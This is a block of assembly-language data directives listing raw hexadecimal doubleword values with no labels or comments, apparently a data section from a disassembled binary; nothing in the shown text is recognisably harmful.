dd 0B121C43Ah, 1891013Fh, 0C1596464h, 0DB9BEC00h, 0DABD55A1h
dd 282B2C22h, 0AD572C5Fh, 0DA137D92h, 43BE7802h, 0C413F55Bh
dd 96E60B06h, 8802644Fh, 0DF49BFE9h, 1B27604Bh, 7A117011h
dd 394D62Ch, 17916402h, 2AB2F6B0h, 460E5330h, 901B4CBBh
dd 26C60336h, 216EABF3h, 0FCF20AA5h, 0D92986CEh, 8001BC5Bh
dd 89F54928h, 8C8E59CEh, 56384E05h, 0B905C887h, 1C7721FEh
dd 7C469859h, 1859463Ch, 870C838Ch, 18E9ECC3h, 56696730h
dd 86479358h, 0C93E1258h
dd 3295805h, 73F23548h, 26D009C7h, 384AE5BAh, 31466781h
dd 79E1DD52h, 0CCE9E10Dh, 0B90AAC6Ah, 0AA112BCh, 0E48FE14Bh
dd 5052004Fh, 0C336FB68h, 51775805h, 87670C06h, 74525956h
dd 49332E31h, 38B802BAh, 38E11E0Ah, 0CD5F8019h, 693C2D59h
dd 5D6C7D67h, 0C10F45D7h, 0A90507E2h, 89F959DBh, 7A0CCE95h
dd 8FC85888h, 0D2F6580Eh, 8603D1E9h, 3987CFF1h, 0E69B60C9h
dd 53246EE6h, 0DD60DABBh, 1789565Bh, 8136E9E6h, 21EF0189h
dd 862228F0h, 0E11AF90Bh, 0CEF52631h, 10056761h, 282EBF00h
dd 2F6866C3h, 0A6AE6752h, 8C38F1E4h, 2502B7B4h, 0EF80DFF6h
dd 0C9AA6109h, 2813C7D8h, 4B58FC88h, 0B819C4BFh, 0C8FAC9D4h
dd 95409599h, 492E14A2h, 30A30409h, 75813BA0h, 0E16D1EEDh
dd 6035CC38h, 999FAEBh, 0E9424A60h, 274B5F8Dh, 0CC782CFh
dd 7034A0Ch, 899FBC5Ch, 548BD3E8h, 6691A50h, 0D70FD990h
dd 0CE140872h, 0C18E336Fh, 21902E7Eh, 5053504Fh, 1AEFB805h
dd 25836B27h, 0C1250231h, 0D037DB26h, 53798640h, 13F29ECh
dd 8EA28CAh, 12E51A1h, 3D71C821h, 0BA0071C9h, 9C3443AAh
dd 0EA40144Ah, 5B52535Ch, 0A9DE7389h, 712A5AB5h, 2CB6E98Dh
dd 922B481Bh, 0A0FE96A0h, 0B11C6F12h, 2C70CFE9h, 0E5C81BE3h
dd 4E790E27h, 0C168E432h, 0D25858F4h, 407AE7BDh, 425824E5h
dd 7B13DE47h, 9FE974C4h, 0C5133E1Ch, 19C14D37h, 840706D1h
dd 2DE4571Ah, 0E3E91882h, 0D2049A8Fh, 4D92F2F2h, 5D89173Dh
dd 12D68E04h, 0F25FCCB0h, 127D96E3h, 0E3F4665Eh, 7F9E109Dh
dd 7C3C8352h, 9552502h, 0F6D9E68Dh, 79F05164h, 0F70007D9h
dd 0DE7231D3h, 8408F369h, 680263AAh, 877923DDh, 25385817h
dd 403F4FEAh, 0A61E9D63h, 1B975F2Ch, 0E90D165Dh, 5193C0E7h
dd 0C051B0B5h, 86746093h, 59EE3002h, 5C44F668h, 4C4D67C8h
dd 0BBE011h, 445AD089h, 95334942h, 24F9210h, 61BB2ABAh
dd 2CDF74E3h, 11013CECh, 0B3E96FC8h, 54EE5336h, 73764ABAh
dd 70A67A2Eh, 1DFF981Dh, 5858BA3Ah, 48EA310Ah, 54975E9h
dd 0D878F01Ch, 75BA5A6Fh, 50F4C3Bh, 3719AE7h, 5CEF79C0h
dd 6BC52751h, 0A62208AFh, 44C29994h, 1D3E83D1h, 0B29853F3h
dd 1650C6A8h, 8555B71h, 933A7F27h, 0ACDC013h, 833A733Bh
dd 25D80C4Eh, 222FD4F9h, 0AED3122Ch, 0FA9C8DDh, 67411119h
dd 2C2FC968h, 0A8E982C1h, 5C83FA32h, 0E83F80CAh, 178EF52Ch
dd 0C0ECC4D1h, 0B81FF6C5h, 0C4Eh, 0B62CCCEEh, 209D9028h
dd 5B7635E8h, 34C9DF7Dh, 2A1DE55Fh, 0D1D24E6Ah, 0BF9BF5h
dd 90D830ACh, 36CF2F57h, 32669119h, 8B0F27E1h, 0F0CD07E1h
dd 0F8285AC1h, 83227124h, 71D831D1h, 0BA1670D2h, 41044409h
dd 56242418h, 62831EDDh, 5E36DBB9h, 0F080C294h, 71E98741h
dd 0C6443A20h, 5A0044FBh, 2712BD35h, 5C16A4Ch, 95D8E547h
dd 405C3DF0h, 39D25406h, 79C1E8D2h, 0E98F6FB5h, 56200ADCh
dd 102834E1h, 472DE408h, 1597F89h, 0E1B65892h, 8C76BA12h
dd 0E0415D4Dh, 0CD920272h, 0DE170184h, 0D95607BEh, 8492A00Bh
dd 34999542h, 6467E850h, 0D9B253B1h, 0E632E05Bh, 5856E88Fh
dd 3064C5Ch, 0E10BCEE9h, 0FB03FD98h, 4F29BB5Fh, 9F284B24h
dd 99E91A60h, 62D8C081h, 0CAF3D43h, 934329A4h, 83ADC450h
dd 2BDE3084h, 1869C238h, 0B20C742Eh, 67B32C0Fh, 3408485Bh
dd 0DC141A0Ch, 26FA507Ch, 0A02AFE97h, 82C0DB55h, 123D77D1h
dd 5EB42CDDh, 95C34E81h, 1861E1AAh, 1A0216FCh, 63E93768h
dd 0BD5EF346h, 1759F49Bh, 41D9C2B0h, 7D2D2F7Bh, 51D83909h
dd 0E9A21F28h, 64E92C54h, 9D91FC75h, 0E4660805h, 7C54E0B7h
dd 3148F707h, 2BF2003h, 34AF2B9h, 0EFC2894Bh, 0C8203476h
dd 3504AF04h, 65E9297Eh, 4BBB6809h, 2184421Ah, 3D30E171h
dd 80C53B98h, 89FE9E07h, 5015DEAh, 8B0203DAh, 88C27514h
dd 52BC97C3h, 0ACB81627h, 624D9C42h, 14080BECh, 4516C425h
dd 0BD65D482h, 0E82158C1h, 0CCCC15Dh, 50C82731h, 908D7109h
dd 0D8A6280Bh, 58FE686Dh, 54C45911h, 4892E35Bh, 1D1510E3h
dd 0C9D9881Fh, 0AE8FCB28h, 13573BB0h, 7A21752h, 0CC68F584h
dd 2BFB8FEDh, 4EE90831h, 80013E2Ch, 0FD08F2F7h, 20F5D95Bh
dd 3540D2B7h, 693F2F68h, 0E91767B4h, 1696C437h, 6490C962h
dd 31F5D4ADh, 0D25E2662h, 0CC4CEB12h, 0BB334031h, 0EFE02551h
dd 0CC740EC6h, 4397B1B6h, 5CBA4780h, 652302F1h, 37206605h
dd 88CCEC0h, 734D7CABh, 1080D175h, 0B11D6B97h, 40CAD343h
dd 0D9685205h, 50000731h, 42D2F75Ah, 1356E281h, 1B3F9E53h
dd 298049D0h, 3E20E9D1h, 8FBF072Dh, 0C7050C17h, 0B132C4F8h
dd 3F6543B7h, 8EE02EFAh, 329C895Bh, 408FCD3Bh, 5A1BFBF7h
dd 980C5843h, 24F7889Ah, 6DA21h, 247291EAh, 2ECC116h, 69E412C7h
dd 0DDE9A993h, 0FCB8F3A0h, 6FAA005Bh, 462DEE05h, 0E912522Ah
dd 63E512EDh, 16809A3Dh, 29691064h, 0EB1EB694h, 0BE560160h
dd 5E992047h, 0D6493531h, 0E99C6B72h, 8DF8A56h, 0E0A72495h
dd 0D7FAF412h, 29828CAEh, 0D187CA03h, 74E1C15Ah, 414B2EE0h
dd 0C9283009h, 3C583D24h, 0D7145FE1h, 0F86318BFh, 5CD14B0Ch
dd 0E10681EBh, 902F8239h, 7D0C167Ch, 2EDD01C8h, 0BDED40E4h
dd 358ED616h, 8CEFFE0Fh, 4C5F8545h, 5A89BF52h, 968B9629h
dd 0D8AD40C1h, 0F3A8737Ah, 0FB3F4615h, 3C8DC3Fh, 0E7DFD756h
dd 0E962A7F7h, 2621565Eh, 0B2EC1663h, 0CFC42648h, 620E6858h
dd 263E2105h, 9C035D05h, 10A908F5h, 3563218h, 1F1135BAh
dd 5D4D33Dh, 0AC6866B9h, 0F32BC209h, 3C22648h, 3F287F76h
dd 8348AA01h, 0A09859B6h, 0C052FCE9h, 0C8B0504Dh, 58ECC120h
dd 9EC717B6h, 0A8B353F3h, 0B66C54E9h, 0D70072CAh, 426501E9h
dd 87CA682Eh, 75107BE1h, 0AE181FCh, 45A04164h, 4BFB1FF6h
dd 0AC01EEF2h, 3FD38959h, 0DD34C012h, 207E53F3h, 595B1C1Ah
dd 0A3F1CF8Dh, 796FFC25h, 638C2058h, 3C572180h, 83AC5A20h
dd 9ACAA551h, 8AA06474h, 7520D198h, 67B6B5BAh, 0C3805C0Eh
dd 51C61C67h, 40AADBB5h, 0D358317Dh, 950BB44Bh, 0B7B3E456h
dd 0C8AF4410h, 7CC951E8h, 64B2619Fh, 2F313938h, 8BF3288Dh
dd 0C4FCF2BCh, 421FBC58h, 5E00684Ch, 0D68BDF01h, 6F36E1FEh
dd 24E95D3Ch, 40CFED78h, 68576E89h, 6B588DE2h, 2DBEC001h
dd 0B0115871h, 2CF30B04h, 837005C7h, 63A3D155h, 0B0257B73h
dd 51383A59h, 5B839042h, 5506142Eh, 142BDC68h, 14F2546Bh
dd 0D05D56F4h, 0A4092DD6h, 0E1104B07h, 49A58058h, 9830879Eh
dd 538006CCh, 276D05BBh, 823128AEh, 4E5049CCh, 1A5CCFE0h
dd 0E9E36100h, 64496653h, 0F933C0DEh, 63B3942Ah, 9D1E6018h
dd 22162C77h, 53685181h, 8D6893A7h, 0E917501Ah, 114733F1h
dd 0BCA2A3BDh, 43CAE169h, 2D688F24h, 93461003h, 0E6D90169h
dd 0D35AB085h, 19AC411h, 143A0BFEh, 638602Dh, 0B5092A98h
dd 0D85C5D38h, 77190FF3h, 0F2A478A8h, 0D54EC3B1h, 64AFEEE0h
dd 109E17Eh, 7830E9D6h, 89595E33h, 7EFD78DDh, 0B7581920h
dd 0E9187F9Eh, 0F63EBCDEh, 0ECD02ED4h, 21810B8h, 543FB22Dh
dd 70E2C262h, 68AD08C0h, 0CCBA5D3Ch, 0ED047946h, 5A5F1421h
dd 0A00141E8h, 89388546h, 7C8071D7h, 6E5F2FC6h, 0A8010ABEh
dd 2BE2198Ch, 0C3263C53h, 0E9644C8Ch, 1D7F965Dh, 0A1D3F187h
dd 0C91DBDC4h
dd 2BF1E47h, 0E3A1F6B5h, 0DBC40A3Dh, 7A3173Fh, 0DD7DAF48h
dd 6519C2Fh, 96416682h, 0A579C513h, 0FAEC3FC2h, 7D560F41h
dd 0F9643129h, 5268020Fh, 3485591Dh, 2DEAB28Eh, 0EF14226Ch
dd 0C7DB7E09h, 0D0B4B539h, 35C5BDDEh, 63220127h, 0EA089D08h
dd 4789A7B6h, 6693CD9h, 4BD9463Dh, 88F40B1Ch, 533F0350h
dd 0FD1DF0B7h, 68C4665Bh, 82980C10h, 0B7FFC007h, 5EFC048h
dd 5B44EDBEh, 0F0F333C2h, 9339333h, 0A6602CD2h, 6882B7A0h
dd 0F4F38848h, 2B74DC34h, 2E9427E5h, 0DCA4BAC4h, 253AB991h
dd 15DA3336h, 6CD8AEC2h, 4DFF735h, 36BD0880h, 2F987F2Ch
dd 0AEC85E6Ch, 0E9E7FEC2h, 58F193A9h, 0C1090C8Fh, 3D0110E8h
dd 4D610A68h, 799BE08Fh, 0F112B2B7h, 0EEC6A52Dh, 18AB18C0h
dd 9C293705h, 56082058h, 4D619E59h, 38525A58h, 31397582h
dd 5EC224D0h, 0EBA6DF13h, 112D5839h, 0B6E87F68h, 2B0BD482h
dd 580AAD35h, 0AEDC3F11h, 5C965988h, 353BD12Dh, 2654A3E6h
dd 492D21E9h, 8064778Eh, 0F368245Ah, 4697BD0Dh, 0D1DEB4C7h
dd 55C82800h, 3214B850h, 8E2A50FEh, 8CFC0403h, 0F806E943h
dd 0A54D5151h, 52BB39C1h, 801320F8h, 341E15BAh, 0A882691h
dd 464A1907h, 0D64B4117h, 776800DBh, 9FBA9926h, 49E09855h
dd 0E32E8058h, 0A01FB4A7h, 0B2C0AF0Bh, 80A8C53Bh, 4E602CBBh
dd 2BB73177h, 0B053C6B7h, 4AD7AA94h, 1770D3DEh, 681004D6h
dd 3362ED22h, 0D9470698h, 0DB2DE81Dh, 0C72F506Fh, 472A497h
dd 27D1575Ah, 243F65A8h, 0ACA9D4E8h, 5C0DD95Ch, 0C8859389h
dd 0B5DC0C02h, 0BA1DB103h, 0D89BA9A6h, 0D7869EBh, 62970002h
dd 250D8D0Fh, 5CA12F3Ch, 11382231h, 0D64CB5B0h, 7F0CC24Ch
dd 0D3B0A014h, 5DE3811Eh, 0D1516CC1h, 0EA414BEBh, 4030DE85h
dd 9C5BE601h, 0B120C43Eh, 10306DFBh, 804E0A43h, 93534E28h
dd 1254648h, 7A021F7Dh, 0F6513BE9h, 0C7C9F831h, 249508BDh
dd 0F53BDD27h, 896C9093h, 8BEB216Ah, 84EA88B9h, 51E22CFCh
dd 13F75F7Fh, 682E60A6h, 54245BA7h, 960B301Ch, 0DFA56839h
dd 75883D1Bh, 205F60D8h, 1DEB8083h, 0D228564Eh, 0C8675A47h
dd 0AE987DA7h, 49243D58h, 5D570351h, 0D2DD875Fh, 566A6A36h
dd 18765287h, 7067EF81h, 12A06877h, 0A0E75DEAh, 7EF88A5Fh
dd 4AEDB225h, 2CEC1962h, 0FA0B8902h, 0B6789817h, 245812A4h
dd 3811A98Ah, 0B5FCD4B4h, 0CDFE351Eh, 0F856C296h, 0A18DBC4Fh
dd 0C8891150h, 0BE6502F8h, 0F0039266h, 0D57DF72Ah, 6A90674Ah
dd 711234C9h, 0E1EC72h, 3EEB06F9h, 63BE5649h, 6EEE3A14h
dd 2DB801A4h, 464E5D55h, 1812CEE0h, 1C05E419h, 0AA0EA77Eh
dd 63F1315Eh, 0E703E1C1h, 3EE89441h, 17E99154h, 4CD35C13h
dd 9CF4D68h, 455EF513h, 340501E2h, 81CB1AD5h, 7BE1E9BAh
dd 0BAD93649h, 21AF40Fh, 2815605Eh, 0F7031AC0h, 0A3E9D008h
dd 0F250132Eh, 0FAAF449Eh, 288D075Ah, 8E489939h, 0D94FF40Bh
dd 0C3E13481h, 4624F54Dh, 619D2ACh, 120C6A10h, 0FC05C0h
dd 2959C801h, 2398E9D8h, 5E0EA3BDh, 60B04AC3h, 75B52DB9h
dd 0E958D90Bh, 9FB870FDh, 6CCA4319h, 0B87A29Bh, 52E35206h
dd 5E1F7B93h, 0D9F1F013h, 8B1AB28h, 2A0275B9h, 2D1290D5h
dd 0F9547849h, 0C2586A5Ah, 5802D47Ah, 9DA86051h, 6F05005Ch
dd 8C2690B9h, 0D17DF73Eh, 0AE000A98h, 0BA5A855Fh, 313C44Ch
dd 58C201A8h, 80DCD131h, 5320BB24h, 0D101F49h, 5FD2F5E9h
dd 0A97CEAD9h, 72D76809h, 52A195C4h, 2AE0044Ch, 3C54F8BEh
dd 0D6302A9Bh, 49F68104h, 7761D2F0h, 709CE910h, 0C94532A7h
dd 0E6E76127h, 5BC19755h, 0E92C5690h, 0F7C9C6D0h, 0A862D051h
dd 90C72DDh, 37517E54h, 0D2F70E60h, 0B8CEE91Bh, 43E6D220h
dd 5126C080h, 0AF0663BFh, 1009ABC6h, 85F28916h, 60E42A5Ch
dd 6E620011h, 0FECF814Ah, 7A2C2B52h, 4A374347h, 50C77930h
dd 0BCE926DAh, 95E4A8AAh, 97449C21h, 7261D635h, 7A756AC0h
dd 10506083h, 7B293C5h, 145E64BBh, 0E1DF01C3h, 6D2ACD8Dh
dd 0A392B8Ch, 6043CB02h, 5FE9329Bh, 0BF43809Dh, 639422BAh
dd 2CCC0F0Ah, 602125BDh, 0BD030D5h, 71B3535Ah, 802C700h
dd 0FE095BD8h, 80FA0CC0h, 0E8309171h, 1BD320E9h, 6B409895h
dd 0EC51B24Dh, 99626674h, 24B7BBCBh, 84A027DEh, 23ED0780h
dd 0B205E5C0h, 18C6C479h, 0C75180BFh, 5B6E0E1Ah, 635B0459h
dd 0E9E51F58h, 0EE215EB7h, 66187AB2h, 7E022C69h, 9CB70924h
dd 0CAC741h, 38786866h, 56C329B5h, 6F1327B7h, 0D64AB1AAh
dd 5F544D82h, 6F620671h, 5AD02F3h, 0B2EA2664h, 42141B16h
dd 912E050Bh, 2D011072h, 45386C66h, 0D8917CC3h, 92CA53E9h
dd 1ACE25BFh, 64C9B079h, 0F47825E1h, 3464DDD1h, 54A86871h
dd 19EBC2DAh, 2E039B0Ah, 0D015C66Ah, 7E281DAh, 4F1A318Eh
dd 52EA7042h, 3123F1Eh, 0A55364E9h, 31C1425Eh, 55A46815h
dd 48705588h, 1FD05D3Ch, 62B0565Dh, 0B8EF3B12h, 20C2065Ch
dd 6A60410Fh, 551CBF0Dh, 0AD47183Fh, 0D589C671h, 0A459D35h
dd 46BB914Bh, 0A179BA0Ah, 8B305292h, 0E50496FAh, 0E5CBC810h
dd 0E0DB040h, 59203501h, 87AA660h, 0A80F050Fh, 0A252B523h
dd 6097787Dh, 3DF730A8h, 1F0979B4h, 9185557Fh, 16A3C2C1h
dd 0DE125D05h, 134F4DF0h, 0EFE78147h, 0C038D00Eh, 0D3BCDF7h
dd 40B49027h, 0E81C29E0h, 5C0015Dh, 46CF3711h, 21FA012Dh
dd 1CE977C2h, 46CC6C5Ch, 191650D8h, 0D7B62873h, 0D34A576Ah
dd 39808814h, 0B3275A80h, 0A9D69182h, 55DDEA08h, 1E7AE622h
dd 542BE902h, 21CF8EBFh, 0C10B07C0h, 4F5006E7h, 7D011BB4h
dd 0FB015E2Ch, 892A295Fh, 0D0E462AAh, 90269606h, 4B24ED2Eh
dd 221E26C9h, 313C0948h, 2E927C51h, 5714FFADh, 6755FA55h
dd 92424930h, 0E6280753h, 32D0458h, 0E5A72CF0h, 6BE6A812h
dd 4A5C5D9h, 0AE946855h, 0A7D9E217h, 0FD593038h, 0A3FF274Ah
dd 2E006D0Dh, 0D1482D5Eh, 5289E59Bh, 834131C3h, 12556434h
dd 0BD96E954h, 32EF005Ah, 560D010Ah, 895E0F57h, 0EB4BE9F1h
dd 9EC1F81Bh, 28108FAFh, 5B3F2BD8h, 0E8838937h, 0C8493C7Ch
dd 2DE98D7Eh, 6193B317h, 0C1D0F9C2h, 96E013A1h, 0A8095706h
dd 77CAFAB1h, 231A2FD7h, 0C7206046h, 97537454h, 204C383h
dd 1AEBC301h, 521CE873h, 180BBDF4h, 26291738h, 0A88B0CF1h
dd 0B00E127Ch, 0B42820AEh, 404EB125h, 825C52FDh, 0ADDAE40h
dd 80072C81h, 0AAE9A4DCh, 0CA272A4Fh, 5751D582h, 7CFCD61Ch
dd 0B80026B4h, 79E04721h, 18F10B2Dh, 8F0B673Ch, 85900CFAh
dd 0A7A412B4h, 82758B3Ch, 0BC7F043Bh, 0F4F8550Bh, 0E729C502h
dd 8B355818h, 6DDE806h, 68578015h, 6A61F609h, 4262F126h
dd 0F1C1EF87h, 7A63D231h, 8710A8EDh, 0F325C688h, 503D9BA3h
dd 94E9DC85h, 0F1D3BCD7h, 2D284BA7h, 0E59F0493h, 5B00A73Fh
dd 0A561624h, 0CA2A04F3h, 13296BBEh, 0D60A3FDAh, 85F657Fh
dd 55DCD225h, 9380BA5Eh, 0A8CBB53h, 434855BCh, 0BA1F4B91h
dd 718DDF92h, 0AA0E313Eh, 9DE6585Ch, 0F6E4DA63h, 80D190D9h
dd 0B966FE1h, 0CF0BD7EEh, 0EC4D7D04h, 0DB8F2564h, 4F94A092h
dd 7D558B25h, 5EC9BF34h, 54169E65h, 0EA009FB2h, 11740E4Ah
dd 679425E9h, 15E5BA01h, 0EC4030BDh, 0FDAA0A48h, 2FE38471h
dd 0FCECE669h, 6858C626h, 5EABE958h, 163DD8FDh, 5D9D89E9h
dd 3205DA07h, 0CF4B344Ch
dd 940EE84h, 0C1D6825Fh, 505C8019h, 267D743h, 63C0CD81h
dd 555A42h, 0E1F3EDD2h, 318909CFh, 0EC0E5DEAh, 0BD54C0F6h
dd 4D3008B8h, 572B3873h, 6036B0BEh, 0F7598DE1h, 681297D7h
dd 0C9C93029h, 0E322212Fh, 569D2ECBh, 25DDE643h, 0FC586161h
dd 0CF394A96h, 0DD307D3h, 0F57FD1B6h, 0D481FD50h, 0B1139B66h
dd 0F7B0098Ch, 4C1F04CBh, 80525C75h, 404B232Ah, 0DA891800h
dd 5AD3295Bh, 95D85001h, 0A8108A50h, 828872BBh, 97AB824Fh
dd 5CE15251h, 0F562A30Fh, 924C3812h, 8CE1810Fh, 6FE8611Ah
dd 5A60C901h, 0CAF41496h, 61503ED6h, 0A2F27176h, 893760BBh
dd 4668816Fh, 0EA59A436h, 0DE044BA7h, 5E096BB3h, 68531130h
dd 0BD7D5D32h, 0E0070A4h, 0FE01C480h, 5E4C063h, 0BD04063Dh
dd 0E34CF0F4h, 0F3E0B779h, 93D83072h, 0AC925B9h, 5042BBAh
dd 8EEC5450h, 8661AFB4h, 59002DE0h, 1995F021h, 863C5E2Ah
dd 80AEEDA4h, 3E95FFDh, 0C797C511h, 0DC67C2BEh, 0FAA44E0Bh
dd 0F2F3D6C2h, 71BF803Bh, 244382Fh, 1B5DB951h, 8D447D3Eh
dd 0CD3CFE4Fh, 40235ECEh, 6F2A341Ch, 0CD4C0975h, 16BA161Fh
dd 0B95F5188h, 0C2516447h, 0D3560F87h, 0A41E2C73h, 0F1BB802Dh
dd 81605972h, 0CAD8F300h, 18056192h, 1FD1094Ch, 3610BE9h
dd 0DFC32C5Ah, 0E640D209h, 1B700778h, 34682A35h, 2230AA7Eh
dd 48F77452h, 0C003372Ch, 2DF93D90h, 39CB1DB0h, 0E9D00109h
dd 0AC0EDEC6h, 5975EC56h, 548F9A97h, 485CD905h, 0BE4C560Dh
dd 2F8B948Fh, 926BE55Eh, 0ED968808h, 0C140C296h, 0E8310BE8h
dd 41982A68h, 0E23B25CDh, 640790D9h, 0AB20288h, 0FA3B5D4Dh
dd 64290D7Eh, 0C18BD83Ch, 907B46E5h, 64DF3A63h, 10210A4h
dd 0F237A1F1h, 6A2E2129h, 0B9A5B617h, 68005FEDh, 0BFAC4E7Ah
dd 0F8731C50h, 3825B498h, 0AEF2A3DCh, 0FA2BA64Ch, 1AA9C2Dh
dd 56ED7BAh, 8B09300Bh, 4FF27112h, 235082C7h, 2EB00880h
dd 99CD501h, 0D0D10F11h, 8B3F6A8Ch, 530CED85h, 4EB45005h
dd 0D2C2E388h, 0C1F323AFh, 46D885C2h, 5D761697h, 9D4A3FD0h
dd 0DA5C783Ah, 0CA868018h, 0F1EF017Fh, 5D0885CAh, 0F489E5A5h
dd 15680BECh, 0F94CB050h, 0C38803C7h, 1F1A72E9h, 0E602C0BDh
dd 47F2874h, 26B4390Ah, 9DE3C043h, 605C0734h, 0FCC216FFh
dd 54138AF2h, 7F1F759h, 53622D43h, 400FF7C0h, 441A58E5h
dd 833D1E5Fh, 16EC7771h, 729B21Dh, 17183AD8h, 24F42513h
dd 54095551h, 60B6765Bh, 0D6339ABAh, 0A6E9123Eh, 0F645BF4Ah
dd 0F7E9981h, 79581230h, 0B3565024h, 0C3CDFF07h, 4E8338CCh
dd 95EF8209h, 59273A5Eh, 0A530EBFCh, 0C1805B67h, 4A0578E1h
dd 0F6E5C517h, 4E06426Ah, 0BCD992B4h, 94BD01D2h, 6E55AA4Fh
dd 0F1685902h, 70E9017Ch, 21CA3EBEh, 65CEAB1Ah, 0EE044C78h
dd 9910E221h, 502B0FAAh, 0CDF0BB6h, 0B8E0B7C2h, 0BD99F7D1h
dd 8B008C6Dh, 2B612A7h, 394ABA79h, 92E15478h, 8AB3EC27h
dd 8DCA2928h, 6619F325h, 0A490591Dh, 0E7CA5B3Fh, 8ADA4A73h
dd 1DB80F10h, 0C8D2F031h, 12BA0FB0h, 0FDE2A3Ch, 0A1DAA0A2h
dd 523DD3E0h, 4903FE6h, 6D51390Eh, 0CE7C046h, 0C0404A5Ch
dd 0A2657F18h, 0E9194722h, 0CEEDB3A1h, 1B9A4DF8h, 12EE8373h
dd 0DE7FD898h, 6191F34Fh, 3104C4A1h, 0ADA951EBh, 4CC4CC10h
dd 0D6870FEh, 4A7128ABh, 40C7C98Ah, 0C180469Fh, 579FFFE7h
dd 205881E9h, 189F41CCh, 50630743h, 814DE05Dh, 25150BE5h
dd 0E68341C6h, 0CC947E2h, 0EB453E68h, 3F0E87E9h, 11DCE4C9h
dd 8E2C102h, 4353D280h, 0CC02A0Bh, 9B5A4810h, 5CD17429h
dd 0C5344431h, 0C4860DDDh, 0F6A4009Ah, 0D13C0572h, 0A7E9B963h
dd 0B91D4BC1h, 13055AA3h, 0B253A8C9h, 0E9CFA2D0h, 91E5A059h
dd 12A30548h, 127FF255h, 64B353D1h, 8D0FC5A6h, 2D287346h
dd 7ED9EBA8h, 3BC9073Ah, 0E26CFD5Dh, 40D9B101h, 464F058Ah
dd 69B013BCh, 808441B9h, 41245264h, 2E09F381h, 0F04EF263h
dd 5C803C1Dh, 0D0DAEF53h, 0D2584BA4h, 0A350E4EEh, 62445A4Bh
dd 0EBA3EF09h, 67ED2079h, 152A2BA0h, 88B86B73h, 0B2E8422h
dd 0E828F1EDh, 0CC02CC24h, 574BE9B5h, 0B0C9E614h, 483360BAh
dd 122A1B7Eh, 5DB807CEh, 0A2252832h, 9A483E1Ah, 21074D52h
dd 5BDA2939h, 0D4F4B6D2h, 0BE0F625Ah, 0C0E50340h, 6692C6B1h
dd 17CBE153h, 3C2A9E7Eh, 0DB34A462h, 96A5BDE7h, 0E977C338h
dd 25014552h, 0B3100EC3h, 0F6418F7Bh, 5080A733h, 566B3E68h
dd 65965D57h, 8E6C3782h, 0AD3A4567h, 84E4132Bh, 7C320661h
dd 1FD26BBh, 0E126ED6Ch, 51665097h, 163BB9E4h, 0EB1E7D09h
dd 1D3035Bh, 0A4408A0Bh, 0E5A25756h, 95425F2Fh, 84499A7Dh
dd 4D0BE875h, 6CD2458Bh, 0A33DC501h, 0E80169C6h, 0C8362C2Bh
dd 417F2D05h, 0D1C869FAh, 0D6E91256h, 58D192F8h, 2D14C851h
dd 0B2A0DEAAh, 0E86817F3h, 0BB1F6054h, 0ACB872BCh, 0B86FC998h
dd 0E5D8EB0Dh, 0E8A9259Fh, 2DA681F6h, 551AD410h, 39762EF7h
dd 384C7F00h, 0C2FAE91Ah, 44AC68F1h, 0A82782A2h, 54B8C10Bh
dd 0FF8D9E30h, 58E1D83Eh, 1344184Ah, 0CEB33792h, 0E41E1293h
dd 100E376h, 0F703BE21h, 0B8EBC1DBh, 0C105F6FEh, 4410F4DAh
dd 0D4262113h, 160B3811h, 795BDF01h, 6551A7DBh, 9A9AC0A5h
dd 65260245h, 426EE957h, 63509254h, 315181F7h, 2C08F911h
dd 10429947h, 0C7802BBCh, 0E9FB2158h, 34C9AE42h, 7F0E12BFh
dd 17FA5280h, 0E92D0985h, 8F6C2303h, 0A5BAC102h, 83B13283h
dd 0E8E4CE88h, 80392E1h, 0C254F652h, 82165701h, 0FE4FDEFCh
dd 0B07521F0h, 7487A31h, 46334D0h, 0EF02E9FFh, 0AB0BCFE0h
dd 0F5E7B1EDh, 8065E570h, 0D250F75Eh, 0AC0562C5h, 0D329B037h
dd 680943A3h, 0F8B00F56h, 330563BBh, 0EB015D48h, 407E82A4h
dd 879D583Fh, 693FD071h, 0C66C29FBh, 58C22793h, 0E809C631h
dd 6813E2D1h, 7C370CE0h, 1303FF86h, 0F257295Ah, 632A166Eh
dd 0ADB19E56h, 5CB3316Bh, 101AC035h, 0E0A6414Ch, 4C907A2Ah
dd 5D2E6815h, 970DA7BBh, 704AD310h, 0F75C4100h, 557C68F9h
dd 43F2145h, 12A4D69Fh, 0D7F1F601h, 2C7BBF13h, 8044D97h
dd 0CE216125h, 0E9A0C4A8h, 0BA800EFFh, 0DD6A17C3h, 6B9FC00Bh
dd 65EFB585h, 3E1D21DEh, 56C2B794h, 0FF4F24Ah, 10B151CFh
dd 9442664h, 4BBDFC5Eh, 0E98BF3E5h, 598A2110h, 46BCC328h
dd 0CF3F26C8h, 0D0235F7Dh, 463C7490h, 0A4257700h, 5553471h
dd 17D1046Dh, 84C331EAh, 5912AA6Fh, 228C1B50h, 6CB70E4Ah
dd 0CF43C7FEh, 0DD90EF86h, 8C3D3F6h, 93EE8852h, 0E9F7A0FDh
dd 24604B5Ah, 0CB580F4h, 30F9195Fh, 1A13736Ch, 75A07BE5h
dd 159C30E9h, 534304BFh, 28D3B709h, 7974A9F8h, 0C5C26215h
dd 0CC49C854h, 9DE79A58h, 17798142h, 66A0594Bh, 5703F5AAh
dd 2A4AC2BFh, 5CB40531h, 0C05F564Dh, 284C1859h, 44B21B76h
dd 31505B14h, 417710B0h, 3F045C2Eh, 0BB3CFC93h, 6C16C1D0h
dd 0B7EA4A95h, 30C741EDh, 3D4E7F0Ch, 0D93CD18Dh, 0E14EE912h
dd 0C8CD2B04h, 0D6BD5F3Bh, 97CE302h, 302F8A68h, 0B083889h
dd 0ECE926FEh, 0C280CCC0h, 2E72065Ch, 2BCFA80Ah, 0BA40A0A1h
dd 5A0E73D0h, 419F8735h, 3ECAF18Ch, 38884C85h, 27B52468h
dd 0D9016F40h, 3B547670h, 0F1FF961h, 0D005C56Dh, 0F0F0ED19h
dd 0D95A1644h, 33020B90h, 29285C1Ah, 0D230F625h, 109D2662h
dd 0F02B349Ch, 0F2E1EC54h
dd 9DFC7828h, 0DEC13800h, 7E50AE5Ah, 2EC1038Dh, 47D52154h
dd 0C01A1C7Ah, 6B0F05D0h, 869A49AEh, 0E9F05CBEh, 0C91849A0h
dd 28DA3476h, 4943EC48h, 0D812DCE0h, 5FE27798h, 6863205Eh
dd 1BC577F8h, 0B1A9ADE5h, 1E9F1F2Ch, 66AFCB15h, 50010DA4h
dd 1341008Dh, 0E1C153A3h, 2ED4C108h, 806DCC3Dh, 5D4CD8F2h
dd 28192D2Bh, 55F5093Bh, 2D2FB9A5h, 1BF2FF1Eh, 1FE07409h
